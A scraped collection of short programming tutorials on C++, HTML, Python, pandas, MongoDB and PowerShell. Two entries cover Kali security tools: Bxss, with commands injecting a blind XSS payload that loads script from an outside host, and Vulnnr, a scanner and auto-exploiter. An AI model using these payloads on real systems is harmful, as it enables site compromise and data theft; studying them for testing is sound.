code-rag-bench/online-tutorials huggingface dataset:
Difference between Base class and Derived class in C++

22 Jun, 2021
Base Class: A base class is a class in Object-Oriented Programming language, from which other classes are derived. The class which inherits the base class has all members of a base class as well as can also have some additional properties. The Base class members and member functions are inherited to Object of the derived class. A base class is also called parent class or superclass.Derived Class: A class that is created from an existing class. The derived class inherits all members and member functions of a base class. The derived class can have more functionality with respect to the Base class and can easily access the Base class. A Derived class is also called a child class or subclass.Syntax for creating Derive Class:  
class BaseClass{
  // members....
  // member function 
}
     
class DerivedClass : public BaseClass{
  // members....
  // member function 
}
Difference between Base Class and Derived Class:
 
Below is the program to illustrate Base Class and Derived Class: 
CPP
// C++ program to illustrate// Base & Derived Class #include <iostream>using namespace std; // Declare Base Classclass Base {public:    int a;}; // Declare Derived Classclass Derived : public Base {public:    int b;}; // Driver Codeint main(){    // Initialise a Derived class geeks    Derived geeks;     // Assign value to Derived class variable    geeks.b = 3;     // Assign value to Base class variable    // via derived class    geeks.a = 4;     cout << "Value from derived class: "         << geeks.b << endl;     cout << "Value from base class: "         << geeks.a << endl;     return 0;}
Value from derived class: 3
Value from base class: 4
 
adnanirshad158
C++-Inheritance
cpp-inheritance
Inheritance
C++
Difference Between
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Priority Queue in C++ Standard Template Library (STL)
Set in C++ Standard Template Library (STL)
vector erase() and clear() in C++
Substring in C++
unordered_map in C++ STL
Class method vs Static method in Python
Difference between BFS and DFS
Difference between var, let and const keywords in JavaScript
Difference Between Method Overloading and Method Overriding in Java
Differences between JDK, JRE and JVM
Bxss – Blind XSS Injector Tool

23 Sep, 2021
Bxss tool is an automated tool that aims to test the target domain for XSS Security Flaw. Bxss tool is developed in the Python language and available on the GitHub platform. XSS is the most common vulnerability, which is identified on almost every web-based application; we only have to find an input field where you can inject your malicious JavaScript payload. 
Bxss tool can inject blind XSS payloads into custom headers which can bypass the WAF on the target server. Bxss tool is very easy to set up and use. Bxss tool uses different request methods (PUT, POST, GET, OPTIONS) all at once.
Note: As Bxss is a Golang language-based tool, so you need to have a Golang environment on your system.
Step 1: Use the following command to install the tool in your Kali Linux operating system.
git clone https://github.com/ethicalhackingplayground/bxss.git
Step 2: Now use the following command to move into the directory of the tool. You have to move in the directory in order to run the tool.
cd bxss
Step 3: Build the go file using the following command.
sudo go build
Step 4: Now use the following command to run the tool.
./bxss -h
Example 1: Blind XSS In Parameters
echo “http://testphp.vulnweb.com/search.php?test=query” | ./bxss -appendMode -payload ‘”><script src=https://hacker.xss.ht></script>’ -parameters
Example 2: Blind XSS In X-Forwarded-For Header
echo “http://testphp.vulnweb.com/search.php?test=query” | ./bxss -appendMode -payload ‘”><script src=https://hacker.xss.ht></script>’ -parameters -header “GAURAV”
Kali-Linux
Linux-Tools
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Docker - COPY Instruction
scp command in Linux with Examples
chown command in Linux with Examples
SED command in Linux | Set 2
mv command in Linux with examples
chmod command in Linux with examples
nohup Command in Linux with Examples
Introduction to Linux Operating System
Array Basics in Shell Scripting | Set 1
Basic Operators in Shell Scripting
iswalnum() function in C++ STL

21 Aug, 2018
The iswalnum() is a built-in function in C++ STL which checks if the given wide character is an alphanumeric character or not. It is defined within the cwctype header file of C++.The following characters are alphanumeric:
Uppercase letters: A to Z
Lowercase letters: a to z
Digits: 0 to 9
Syntax:
int iswalnum(ch)
Parameter: The function accepts a single mandatory parameter ch which specifies the wide character which we have to check that if it is alphanumeric or not.
Return Value: The function returns two values as shown below.
If the ch is an alphanumeric character, then a non-zero value is returned.
If it is not then 0 is returned.
Below programs illustrates the above function.
Program 1:
// Program to illustrate// iswalnum() function#include <cwctype>#include <iostream>using namespace std;  int main(){      wchar_t ch1 = '?';    wchar_t ch2 = 'g';      // Function to check if the character    // is alphanumeric or not    if (iswalnum(ch1))        wcout << ch1 << " is alphanumeric ";    else        wcout << ch1 << " is not alphanumeric ";    wcout << endl;      if (iswalnum(ch2))        wcout << ch2 << " is alphanumeric ";    else        wcout << ch2 << " is not alphanumeric ";      return 0;}
? is not alphanumeric 
g is alphanumeric

Program 2:
// Program to illustrate// iswalnum() function#include <cwctype>#include <iostream>using namespace std;  int main(){      wchar_t ch1 = '3';    wchar_t ch2 = '&';      // Function to check if the character    // is alphanumeric or not    if (iswalnum(ch1))        wcout << ch1 << " is alphanumeric ";    else        wcout << ch1 << " is not alphanumeric ";    wcout << endl;      if (iswalnum(ch2))        wcout << ch2 << " is alphanumeric ";    else        wcout << ch2 << " is not alphanumeric ";      return 0;}
3 is alphanumeric 
& is not alphanumeric

C-Library
CPP-Functions
C++
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Bitwise Operators in C/C++
Set in C++ Standard Template Library (STL)
vector erase() and clear() in C++
unordered_map in C++ STL
Inheritance in C++
Substring in C++
Priority Queue in C++ Standard Template Library (STL)
The C++ Standard Template Library (STL)
C++ Classes and Objects
Object Oriented Programming in C++
HTML | <embed> src Attribute

25 May, 2022
The HTML <embed> src Attribute is used to specify the web address of the embedded content. 
Syntax: 
<embed src="URL">
Attribute Values: 
URL: It is used to specify the web address of the embedded content.An absolute URL: It points to another webpage.A relative URL: it points to a file within a website.
An absolute URL: It points to another webpage.A relative URL: it points to a file within a website.
An absolute URL: It points to another webpage.
A relative URL: it points to a file within a website.
Example: 
html
<!DOCTYPE html><html> <head>    <title>HTML embed src Attribute</title>    <style>        q {            color: #00cc00;            font-style: italic;        }    </style></head> <body>    <h1>GeeksforGeeks</h1>    <h2>HTML embed src Attribute</h2>    <br>    <embed src="loading2.swf"           width="400px"           height="300px"           type="application/x-shockwave-flash"></body> </html>
Output :
  
Supported Browsers: The browser supported by HTML embed src Attribute are listed below:
Google Chrome
Internet Explorer
Firefox
Apple Safari
Opera
hritikbhatnagar2182
HTML-Attributes
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to update Node.js and NPM to next version ?
REST API (Introduction)
CSS to put icon inside an input element in a form
Types of CSS (Cascading Style Sheet)
Design a Tribute Page using HTML & CSS
Installation of Node.js on Linux
Difference between var, let and const keywords in JavaScript
How to fetch data from an API in ReactJS ?
Differences between Functional Components and Class Components in React
Remove elements from a JavaScript Array
Python – Append content of one text file to another

26 May, 2022
Having two file names entered from users, the task is to append the content of the second file to the content of the first file.Example  
Input :
file1.txt
file2.txt

Output :
Content of first file (before appending) - geeksfor
Content of second file (before appending) - geeks
Content of first file (after appending) - geeksforgeeks
Content of second file (after appending) - geeks
Algorithm :  
Enter the names of the files.Open both the files in read only mode using the open() function.Print the contents of the files before appending using the read() function.Close both the files using the close() function.Open the first file in append mode and the second file in read mode.Append the contents of the second file to the first file using the write() function.Reposition the cursor of the files at the beginning using the seek() function.Print the contents of the appended files.Close both the files.
Enter the names of the files.
Open both the files in read only mode using the open() function.
Print the contents of the files before appending using the read() function.
Close both the files using the close() function.
Open the first file in append mode and the second file in read mode.
Append the contents of the second file to the first file using the write() function.
Reposition the cursor of the files at the beginning using the seek() function.
Print the contents of the appended files.
Close both the files.
Suppose the text files file1.txt and file2.txt contain the following data.file1.txt  
file2.txt  
 
python3
# entering the file namesfirstfile = input("Enter the name of first file ")secondfile = input("Enter the name of second file ") # opening both files in read only mode to read initial contentsf1 = open(firstfile, 'r')f2 = open(secondfile, 'r') # printing the contents of the file before appendingprint('content of first file before appending -', f1.read())print('content of second file before appending -', f2.read()) # closing the filesf1.close()f2.close() # opening first file in append mode and second file in read modef1 = open(firstfile, 'a+')f2 = open(secondfile, 'r') # appending the contents of the second file to the first filef1.write(f2.read()) # relocating the cursor of the files at the beginningf1.seek(0)f2.seek(0) # printing the contents of the files after appendngprint('content of first file after appending -', f1.read())print('content of second file after appending -', f2.read()) # closing the filesf1.close()f2.close()
Output :  
 
Code_Mech
sumitgumber28
Python file-handling-programs
python-file-handling
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to iterate through Excel rows in Python?
Rotate axis tick labels in Seaborn and Matplotlib
Deque in Python
Queue in Python
Defaultdict in Python
Check if element exists in list in Python
Python Classes and Objects
Bar Plot in Matplotlib
reduce() in Python
Python | Get unique values from a list
Wand clamp() function – Python

23 Aug, 2021
The clamp() function is an inbuilt function in the Python Wand ImageMagick library which is used to restrict color values between 0 and quantum range. 
Syntax:  
canny(channel)
Parameters: This function accepts two parameters as mentioned above and defined below:  
channel: This is an optional parameter which stores the color channel like “green”, “red”, “yellow” etc.
Return Value: This function returns the Wand ImageMagick object.
Original Image:  
Example 1:  
Python3
# Import library from Imagefrom wand.image import Image # Import the imagewith Image(filename ='../geeksforgeeks.png') as image:    # Clone the image in order to process    with image.clone() as clamp:        # Invoke clamp function        clamp.clamp("red")        # Save the image        clamp.save(filename ='clamp1.jpg')
Output:  
Example 2:  
Python3
# Import libraries from the wand from wand.image import Imagefrom wand.drawing import Drawingfrom wand.color import Color with Drawing() as draw:    # Set Stroke color the circle to black    draw.stroke_color = Color('black')    # Set Width of the circle to 2    draw.stroke_width = 1    # Set the fill color to 'White (# FFFFFF)'    draw.fill_color = Color('white')     # Invoke Circle function with center at 50, 50 and radius 25    draw.circle((200, 200), # Center point                (100, 100)) # Perimeter point    # Set the font style    draw.font = '../Helvetica.ttf'    # Set the font size    draw.font_size = 30         with Image(width = 400, height = 400, background = Color('# 45ff33')) as pic:        # Set the text and its location        draw.text(int(pic.width / 3), int(pic.height / 2), 'GeeksForGeeks !')        # Draw the picture        draw(pic)        # Invoke clamp function        pic.clamp('green')        # Save the image        pic.save(filename ='clamp2.jpg')
Output:  
 
sagartomar9927
Image-Processing
Python-wand
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Matplotlib.pyplot.subplot_tool() in Python

11 Apr, 2020
Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. Pyplot is a state-based interface to a Matplotlib module which provides a MATLAB-like interface.
Sample Code
# sample codeimport matplotlib.pyplot as plt     plt.plot([1, 2, 3, 4], [16, 4, 1, 8]) plt.show() 
Output:
The subplot_tool() function in pyplot module of matplotlib library is used to launch a subplot tool window for a figure.
Syntax:
matplotlib.pyplot.subplot_tool(targetfig=None)

Parameters: This method does not accept any parameter.
Returns: This method does not return any value.
Below examples illustrate the matplotlib.pyplot.subplot_tool() function in matplotlib.pyplot:
Example #1:
# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np  fig, axs = plt.subplots()  axs.plot(np.random.random((10, 10)))  plt.subplot_tool()  fig.suptitle('matplotlib.pyplot.subplot_tool() Example')plt.show()
Output:
Example #2:
# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np  fig, (axs, axs1) = plt.subplots(1, 2)  axs.pcolor(np.random.random((10, 10)))axs1.imshow(np.random.random((10, 10)))  plt.subplot_tool()  fig.suptitle('matplotlib.pyplot.subplot_tool() Example')plt.show()
Output:
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Count the number of objects using Static member function

29 Mar, 2020
Prerequisite : Static variables , Static FunctionsWrite a program to design a class having static member function named showcount() which has the property of displaying the number of objects created of the class.Explanation: In this program we are simply explaining the approach of static member function. We can define class members and member functions as static using static keyword. Before understanding static member function, we must understand static member. When we declare a member of a class as static it means no matter how many objects of the class are created, there is only one copy of the static member.
Important points about Static :
A static member is shared by all objects of the class, all static data is initialized to zero when the first object is created, if no other initialization is present.
A static member function can only access static data member, other static member functions and any other functions from outside the class.
By declaring a function member as static, we make it independent of any particular object of the class. A static member function can be called even if no objects of the class exist and the static functions are accessed using only the class name and the scope resolution operator :: .
We can’t put it in the class definition but it can be initialized outside the class as done in the following example by re-declaring the static variable, using the scope resolution operator :: to identify which class it belongs to.
Examples:
Input : Here  we are not asking for input from the user
Output :count:2
count:3
object number :1
object number :2
object number :3

Input :Here we are not asking for input from the user
Output :count:2
count:3
object number :1
object number :2
object number :3

// C++ program to Count the number of objects// using the Static member function#include <iostream>using namespace std;class test {    int objNo;    static int objCnt;  public:    test()    {    objNo = ++objCnt;    }    ~test()    {    --objCnt;    }    void printObjNumber(void)    {        cout << "object number :" << objNo << "\n";    }    static void printObjCount(void)    {        cout << "count:" << objCnt<< "\n";    }};int test::objCnt;int main(){    test t1, t2;    test::printObjCount();      test t3;    test::printObjCount();      t1.printObjNumber();     t2.printObjNumber();     t3.printObjNumber();    return 0;}
Output:
count:2
count:3
object number :1
object number :2
object number :3

sudeea
C++-Static Keyword
Static Keyword
C Language
C++
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Virtual Destructor

14 Dec, 2021
Deleting a derived class object using a pointer of base class type that has a non-virtual destructor results in undefined behavior. To correct this situation, the base class should be defined with a virtual destructor. For example, following program results in undefined behavior.  
CPP
// CPP program without virtual destructor// causing undefined behavior#include <iostream> using namespace std; class base {  public:    base()        { cout << "Constructing base\n"; }    ~base()    { cout<< "Destructing base\n"; }    }; class derived: public base {  public:    derived()         { cout << "Constructing derived\n"; }    ~derived()       { cout << "Destructing derived\n"; }}; int main(){  derived *d = new derived();   base *b = d;  delete b;  getchar();  return 0;}
Although the output of following program may be different on different compilers, when compiled using Dev-CPP, it prints following:  
Constructing base
Constructing derived
Destructing base
Making base class destructor virtual guarantees that the object of derived class is destructed properly, i.e., both base class and derived class destructors are called. For example,  
CPP
// A program with virtual destructor#include <iostream> using namespace std; class base {  public:    base()        { cout << "Constructing base\n"; }    virtual ~base()    { cout << "Destructing base\n"; }    }; class derived : public base {  public:    derived()        { cout << "Constructing derived\n"; }    virtual ~derived()    { cout << "Destructing derived\n"; }}; int main(){  derived *d = new derived();   base *b = d;  delete b;  getchar();  return 0;}
Output:  
Constructing base
Constructing derived
Destructing derived
Destructing base
As a guideline, any time you have a virtual function in a class, you should immediately add a virtual destructor (even if it does nothing). This way, you ensure against any surprises later. 
Reference: Secure Coding This article is contributed by Rahul Gupta. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 
linhdh
kziemianfvt
C++-Destructors
secure-coding
C++
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Jupyter notebook Tips and Tricks

05 Feb, 2019
Prerequisite: Getting started with Jupyter Notebook
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. What makes data analysis in Python more efficient and productive is Jupyter notebook or formerly known as the IPython notebook.
In this post, we are going to discuss some nice features of the Jupyter notebook which increases the productivity and efficiency of the data analyst. The Jupyter notebook extends the console-based approach to interactive computing in a qualitatively new direction, providing a web-based application suitable for capturing the whole computation process: developing, documenting, and executing code, as well as communicating the results. In a nutshell, it is a complete package.
Let’s see some features of the Jupyter notebook which comes very handy while doing data analysis.
It’s not an uncommon thing for a data scientist that while doing data analysis, they have more than one solutions for the given problem. They want to choose the best approach which completes the task in the minimum amount of time. Jupyter notebook provides a very efficient way to check the running time of a particular block of code.
we can use the %%time command to check the running time of a particular cell. For instance, let’s see the time takes to execute the code mentioned below.
# For capturing the execution time%%time   # Find the squares of a number in the# range from 0 to 14for x in range(15):    square = x**2    print(square)
Output :We can also use the command %%timeit to run the given snippet of code over some number of times to find the average run time for that piece of code.
While working with codes, we often add new lines of code and comment out the old pieces of code for improving the performance or to debug it. Jupyter notebook provides a very efficient way to achieve the same.
To comment out a block of code –
First, we need to select all those lines which we want to comment out.
Next, on a Windows computer, we need to press the ctrl + / key combination to comment out the highlighted portion of the code.This does save a lot of time for the data analyst.
To Uncomment a commented block of code –
The steps are same for uncommenting a block of code. First, we highlight the commented region of the code.Next, on a Windows computer, we need to press the ctrl + / key combination to comment out the highlighted portion of the code.
data-science
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to display a variable with subscript ggplot2 graph in R?

Sometimes we have variables that have a subscript associated with them. This subscript is used to define the characteristics of the variable or to differentiate similar variables from each other.
In this type of situation, displaying a variable with subscript in a graph created with the help of ggplot2 can be done by using the geom_text function. Check out the below Example to understand how it can be done.
Consider the below data frame −
x1<-rnorm(20)
x2<-rnorm(20)
y1<-rnorm(20)
df<-data.frame(x1,x2,y1)
df
The following dataframe is created
            x1          x2         y1
 1 -0.31525919  2.67454325 -0.57732755
 2  1.99006420  0.78801339  0.50358685
 3  0.89976037  1.72569787 -0.99164173
 4 -0.83917900  1.08725917 -1.16835169
 5 -1.42694308  1.13963766 -0.27289094
 6 -0.86478551  0.96600534 -1.05109773
 7 -0.85993732 -1.76012492 -0.93524050
 8 -1.29924306  1.18749553  0.03820085
 9  0.26418756  0.47682055  0.48917207
10  2.00518885 -1.26428211 -0.92215552
11  1.09006592 -0.74973755  0.93209043
12  1.05100909  0.49159307 -0.77247422
13 -0.62451882  0.53191819  1.25542082
14 -1.19159113 -1.44492176  0.24861869
15  0.37581539 -0.81251569 -0.26883516
16 -0.09544343  0.67109002  0.22284421
17 -0.81413602 -0.48702643 -1.51936451
18 -0.16966281  0.03563694  1.88394447
19  0.34778835 -1.45162938 -2.28972427
20  1.70094258 -0.59359544 -1.50645407
To load the ggplot2 package and create scatterplot between x1 and y1 on the above created data frame, add the following code to the above snippet −
x1<-rnorm(20)
x2<-rnorm(20)
y1<-rnorm(20)
df<-data.frame(x1,x2,y1)
library(ggplot2)
ggplot(df,aes(x1,y1))+geom_point()
If you execute all the above given snippets as a single program, it generates the following Output −
To create scatterplot between x1 and y1 where 1 is subscript on the above created data frame, add the following code to the above snippet −
x1<-rnorm(20)
x2<-rnorm(20)
y1<-rnorm(20)
df<-data.frame(x1,x2,y1)
library(ggplot2)
ggplot(df,aes(x1,y1))+geom_point()+geom_text(aes(label="x[1] %~%
y[1]",x=1.5,y=1.5),parse=TRUE)
If you execute all the above given snippets as a single program, it generates the following Output −
Vulnnr – Vulnerability Scanner and Auto Exploiter in Kali Linux

04 Oct, 2021
Vulnerability Scanning is the methodology for testing the target domain for Security Flaws. These Flaws can be exploited and the attacker can gain access and also perform some malicious activities. There are various automated tools for performing Scanning. Vulnnr tool is a Python language-based script that performs the process of Vulnerability Scanning and Auto Exploitation. We can use this tool to check the security by finding the flaws in the target domain and get the shells if the domain is vulnerable. Vulnnr tool is available on GitHub, it’s free and open-source to use.
Note: Make Sure You have Python Installed on your System, as this is a python-based tool. Click to check the Installation process – Python Installation Steps on Linux
Step 1: Use the following command to install the tool in your Kali Linux operating system.
git clone https://github.com/psauxx/Vulnnr.git
Step 2: Now use the following command to move into the directory of the tool. You have to move in the directory in order to run the tool.
cd Vulnnr
Step 3: You are in the directory of the Vulnnr. Now you have to install a dependency of the Vulnnr using the following command.
sudo pip3 install -r requirements.txt
Step 4: All the dependencies have been installed in your Kali Linux operating system. Now use the following command to run the tool and check the help section.
python3 Vulnnr.py -h
Example 1: WordPress Version Scanner
Type help to list all the available options
Type wpversion for getting WordPress Version
We have got the WordPress Version of http://geeksforgeeks.org target domain.
Example 2: SQL Injection Scanner
Type sql for Sql Injection Scanner
We have got the result for the SQL Injection scan on http://geeksforgeeks.org domain.
Example 3:  Directory Scanner
Type dirscan for Directory Scanner
We have got the list of directories that are available on the http://geeksforgeeks.org domain server.
Example 4: Port Scanner
Type port dor Port Checker
We have got the status or activeness of port 443 on http://geeksforgeeks.org target domain.
surinderdawra388
Kali-Linux
Linux-Tools
Linux-Unix
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
HTML <a> href Attribute

21 Jun, 2022
The HTML <a> href Attribute is used to specify the URL of the page that the link goes to. When the href attribute is not present in the <a> an element that it will not be a hyperlink. This attribute is used to specify a link to any address. This attribute is used along with <a> tag.Syntax:  
<a href="URL"> Link text </a>
Attribute Values:
absolute URL: It points to another website.
relative URL: It points to a file within a website.
anchor URL: It points to an anchor within a page.
Example: This Example illustrates the use of href attribute in <a> element.  
HTML
<html><body>    <h1>GeeksForGeeks</h1>    <h2>      HTML a href Attribute  </h2>    <a href="https://ide.geeksforgeeks.org/">        Click to open in the same tab    </a>    <br>    <a href="https://ide.geeksforgeeks.org/"       target="_blank">        Click to open in a different tab    </a></body> </html>
Output: 
Supported Browsers: The browser supported by HTML <a>href Attribute are listed below:  
Google Chrome 
Edge version 12 and above
Internet Explorer  
Firefox version 
Opera 
Safari 
hritikbhatnagar2182
satyamm09
HTML-Attributes
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
REST API (Introduction)
Types of CSS (Cascading Style Sheet)
Design a Tribute Page using HTML & CSS
HTTP headers | Content-Type
How to Insert Form Data into Database using PHP ?
Installation of Node.js on Linux
Difference between var, let and const keywords in JavaScript
How to fetch data from an API in ReactJS ?
Differences between Functional Components and Class Components in React
Remove elements from a JavaScript Array
How to return documents of a collection without objectId in MongoDB?

To return documents of a collection without objectId, set _id:0. Let us first create a collection with documents −
> db.returnDocumentWithoutObjectId.insertOne({"Name":"Carol","Age":25});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5ce8ba6c78f00858fb12e8fa")
}
> db.returnDocumentWithoutObjectId.insertOne({"Name":"Sam","Age":21});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5ce8ba6d78f00858fb12e8fb")
}
> db.returnDocumentWithoutObjectId.insertOne({"Name":"John","Age":23});
{
   "acknowledged" : true,
   "insertedId" : ObjectId("5ce8ba6f78f00858fb12e8fc")
}
Following is the query to display all documents from a collection with the help of find() method −
> db.returnDocumentWithoutObjectId.find();
This will produce the following output −
{ "_id" : ObjectId("5ce8ba6c78f00858fb12e8fa"), "Name" : "Carol", "Age" : 25 }
{ "_id" : ObjectId("5ce8ba6d78f00858fb12e8fb"), "Name" : "Sam", "Age" : 21 }
{ "_id" : ObjectId("5ce8ba6f78f00858fb12e8fc"), "Name" : "John", "Age" : 23 }
Following is the query to return documents of a collection without objectId in MongoDB −
> db.returnDocumentWithoutObjectId.find({},{_id:0});
This will produce the following output −
{ "Name" : "Carol", "Age" : 25 }
{ "Name" : "Sam", "Age" : 21 }
{ "Name" : "John", "Age" : 23 }
Python | Convert list of tuples to dictionary value lists - GeeksforGeeks

26 Jul, 2019
One among the problem of interconversion of data types in python is conversion of list of tuples to dictionaries, in which the keys are 1st element of tuple, which are uniquely identified as keys in dictionary and it’s corresponding value as list of corresponding value of respective keys as tuple’s second element. Let’s discuss how to solve this particular problem.
Method #1 : Using defaultdict() + loopThis problem can easily be solved using the defaultdict() and loop. The defaultdict provides a default value dictionary container to assign corresponding value list to keys, so that we don’t need to initialize keys with empty list and loop is used to extract like values from tuple.
# Python3 code to demonstrate working of# Convert list of tuples to dictionary value lists# Using defaultdict() + loopfrom collections import defaultdict  # initializing listtest_list = [(1, 'gfg'), (1, 'is'), (2, 'best'), (3, 'for'), (4, 'CS')]  # printing original listprint("The original list is : " + str(test_list))  # Using defaultdict() + loop# Convert list of tuples to dictionary value listsres = defaultdict(list)for i, j in test_list:    res[i].append(j)  # printing result print("The merged dictionary is : " + str(dict(res)))
The original list is : [(1, ‘gfg’), (1, ‘is’), (2, ‘best’), (3, ‘for’), (4, ‘CS’)]The merged dictionary is : {1: [‘gfg’, ‘is’], 2: [‘best’], 3: [‘for’], 4: [‘CS’]}
 
Method #2 : Using defaultdict() + groupby()This method performs the task similar to above method, just instead of using loop to access each key value pair, here we use Python’s groupby library to group keys with value and convert then into a list.
# Python3 code to demonstrate working of# Convert list of tuples to dictionary value lists# Using defaultdict() + groupby()from collections import defaultdictfrom operator import itemgetterfrom itertools import groupby  # initializing listtest_list = [(1, 'gfg'), (1, 'is'), (2, 'best'), (3, 'for'), (4, 'CS')]  # printing original listprint("The original list is : " + str(test_list))  # Using defaultdict() + groupby()# Convert list of tuples to dictionary value listsres = dict((k, [v[1] for v in itr]) for k, itr in groupby(                                test_list, itemgetter(0)))  # printing result print("The merged dictionary is : " + str(dict(res)))
The original list is : [(1, ‘gfg’), (1, ‘is’), (2, ‘best’), (3, ‘for’), (4, ‘CS’)]The merged dictionary is : {1: [‘gfg’, ‘is’], 2: [‘best’], 3: [‘for’], 4: [‘CS’]}
Python dictionary-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Python Dictionary
Read a file line by line in Python
Enumerate() in Python
How to Install PIP on Windows ?
Iterate over a list in Python
Python program to convert a list to string
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python | Convert a list to dictionary
Length of a Linked List in Python

Suppose we have a singly linked list, we have to find its length. The linked list has fields next
and val.
So, if the input is like [2 -> 4 -> 5 -> 7 -> 8 -> 9 -> 3], then the output will be 7.
To solve this, we will follow these steps −
count := 0
while node is non null, docount := count + 1node:= next of node
count := count + 1
node:= next of node
return count
Let us see the following implementation to get better understanding −
 Live Demo
class ListNode:
   def __init__(self, data, next = None):
      self.val = data
      self.next = next
def make_list(elements):
   head = ListNode(elements[0])
   for element in elements[1:]:
      ptr = head
      while ptr.next:
         ptr = ptr.next
         ptr.next = ListNode(element)
   return head
class Solution:
   def solve(self, node):
      count = 0
      while node:
         count +=1
         node=node.next
      return count
ob = Solution()
head = make_list([2,4,5,7,8,9,3])
print(ob.solve(head))
[2,4,5,7,8,9,3]
7
How to update the specific node of the XML file using PowerShell?

To update the specific XML node using PowerShell, we first need to select that node with the attribute with SelectSingleNode() method.
We have below the XML file from the link stored in SampleXml.XML on C:\Temp location.
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms762271(v=vs.85)
In this example, we are going to update Autor and Genre properties of the Book having attribute Id = ‘bk102’
$xml=[xml](Get-Content C:\Temp\SampleXML.xml)
$node=$xml.SelectSingleNode("//book[@id='bk102']")
The above commands will load the XML file and select node with attribute value ‘bk102’.
$node.genre='Non-Fiction'
$node.author='Dell James'
$xml.Save("C:\Temp\SampleXML.xml")
The above commands will update the genre and author property.
Python | Pandas Series.items()

12 Feb, 2019
Pandas series is a One-dimensional ndarray with axis labels. The labels need not be unique but must be a hashable type. The object supports both integer- and label-based indexing and provides a host of methods for performing operations involving the index.
Pandas Series.items() function iterates over the given series object. The function iterates over the tuples containing the index labels and corresponding value in the series.
Syntax: Series.items()
Parameter : None
Returns : tuples
Example #1: Use Series.items() function to iterate over all the elements in the given series object.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series([10, 25, 3, 25, 24, 6])  # Create the Indexindex_ = ['Coca Cola', 'Sprite', 'Coke', 'Fanta', 'Dew', 'ThumbsUp']  # set the indexsr.index = index_  # Print the seriesprint(sr)
Output :Now we will use Series.items() function to iterate over all the elements in the given series object.
# iterate over all the elementsfor items in sr.items():    print(items)
Output :
As we can see in the output, the Series.items() function has successfully iterated over all the elements in the given series object. Example #2 : Use Series.items() function to iterate over all the elements in the given series object.
# importing pandas as pdimport pandas as pd  # Creating the Seriessr = pd.Series([11, 21, 8, 18, 65, 84, 32, 10, 5, 24, 32])  # Create the Indexindex_ = pd.date_range('2010-10-09', periods = 11, freq ='M')  # set the indexsr.index = index_  # Print the seriesprint(sr)
Output :
Now we will use Series.items() function to iterate over all the elements in the given series object.
# iterate over all the elementsfor items in sr.items():    print(items)
Output :
Python pandas-series
Python pandas-series-methods
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
Convert integer to string in Python
How to drop one or multiple columns in Pandas Dataframe
Print number with commas as 1000 separators in Python

05 Nov, 2017
In this program, we need to print output of a given integer in international place value format and put commas at the appropriate place, from the right.
Examples:
Input : 1000000
Output : 1,000,000

Input : 1000
Output : 1,000

Using {} along with format() function is introduced in Python 2.7 and is generally used in String formatting in place of “%”.Syntax
" ".format()

Example:
Input  : print ('{0}, {1}, {2}'.format('a', 'b', 'c'))
Output : a, b, c

Input :  print ('{2}, {0}, {1}'.format('a', 'b', 'c'))
Output : c, a, b

Here, we have used the “{:,}” along with the format() function to add commas every thousand places starting from left. This is introduced in Python3 and it automatically adds a comma on writing the following syntax.
def place_value(number):    return ("{:,}".format(number))  print(place_value(1000000))
Output:
1,000,000

This article is contributed by Chinmoy Lenka. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python
Strings
Strings
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
Write a program to reverse an array or string
Reverse a string in Java
Write a program to print all permutations of a given string
C++ Data Types
Different Methods to Reverse a String in C++
Split() and Concat With & Function in MS Access

18 Jan, 2021
1. Split() Function :In MS Access, the Split() function splits the string into an array of strings. In this function, we will pass the string and the separator by which the function will separate the string. If we pass no separator then it will separate the string on the basis of the space.
Syntax :
Split(expression, delimiter, limit, compare)
Parameters :
Expression – String to split into substrings based on a delimiter.
Delimiter – Optional. The delimiter used to split expression into substrings.
Limit – Optional. The maximum number of substrings split from expression.
Compare – Optional. For Binary comparison value will be pass 0, and for Textual comparison value will be pass 1.
Returns : It will return string with the separator.
Example-1 :
SELECT Split("Geeks For Geeks") AS SplitString;
Output :
Example-2 :
SELECT Split("geeks:for:geeks", ":") AS SplitString;
Output :
Example-3 :
SELECT Split("The best computer science portal")
Output :
{"The", "best", "computer", "science", "portal"}
